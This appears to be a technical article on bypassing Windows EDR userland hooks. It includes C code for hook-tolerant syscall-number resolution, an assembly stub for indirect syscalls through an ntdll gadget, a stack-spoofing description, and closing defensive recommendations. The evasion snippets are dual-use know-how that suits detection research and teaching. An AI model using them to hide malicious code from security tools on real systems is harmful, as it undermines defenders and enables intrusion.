Endpoint Detection and Response (EDR) agents predominantly rely on injecting a user-mode dynamic-link library (DLL) into newly spawned processes. This injected library patches sensitive Native API functions inside ntdll.dll (such as NtAllocateVirtualMemory, NtProtectVirtualMemory, and NtCreateThreadEx) with unconditional jumps (jmp) pointing into the EDR's inspection engine.
1. The Evolution of Syscall Resolution
Traditional direct syscall techniques hardcoded System Service Numbers (SSNs). Because SSNs fluctuate across Windows kernel builds and service packs, modern offensive tooling dynamically calculates SSNs by parsing the Export Address Table (EAT) of ntdll.dll.
Using the HalosGate algorithm, an operator can locate the syscall stub even when neighboring functions are hooked by reading adjacent function opcodes up and down memory boundaries:
// Dynamic SSN extraction with hook tolerance
DWORD GetSyscallNumber(PVOID pFunctionAddress) {
BYTE *pOpcode = (BYTE*)pFunctionAddress;
// Check if clean stub: mov r10, rcx; mov eax, SSN
if (pOpcode[0] == 0x4C && pOpcode[1] == 0x8B && pOpcode[2] == 0xD1 && pOpcode[3] == 0xB8) {
return *(DWORD*)(pOpcode + 4);
}
// If hooked (jmp / 0xE9), inspect adjacent stubs
for (WORD idx = 1; idx < 32; idx++) {
BYTE *down = pOpcode + (idx * 0x20);
if (down[0] == 0x4C && down[1] == 0x8B && down[2] == 0xD1 && down[3] == 0xB8) {
return *(DWORD*)(down + 4) - idx;
}
}
return 0;
}2. Indirect Syscalls: Preserving the Return Pointer
Rather than executing the syscall instruction within private heap or image allocations, indirect syscalls jump directly to a legitimate syscall; ret gadget already resident inside ntdll.dll. This ensures that the kernel return address points into trusted Microsoft module memory space.
.code
IndirectSyscall PROC
mov r10, rcx ; Preserve 1st arg into r10
mov eax, [rsp + 28h] ; Load dynamically resolved SSN
mov r11, [rsp + 30h] ; Address of 'syscall; ret' inside ntdll.dll
jmp r11 ; Jump into legitimate ntdll gadget
IndirectSyscall ENDP
END3. Synthetic Stack Spoofing
Even with indirect syscalls, static stack walk inspection (via ETW-Ti or asynchronous APC sampling) will reveal abnormal stack frame ancestry. By utilizing synthetic stack spoofing (desynchronizing the physical register stack pointer RSP from the unwind metadata registered in RUNTIME_FUNCTION), we can forge arbitrary stack frames such as:
ntdll.dll!NtAllocateVirtualMemory + 0x14KERNELBASE.dll!VirtualAllocEx + 0x42explorer.exe!ThreadStart + 0x110
4. Defensive Recommendations
To detect and mitigate advanced syscall bypasses, defensive teams must not rely solely on userland hooks:
- Enable ETW-Ti (Threat Intelligence): Subscribe to kernel-level
KERNEL_THREATINT_KEYWORD_INLINE_SYSCALLtelemetry. - Implement Kernel-mode Call Stack Telemetry: Verify that unwind chains match continuous valid thread execution contexts.
- Arbitrary Code Guard (ACG): Enforce W^X protections to prevent the allocation and execution of dynamically unbacked memory pages.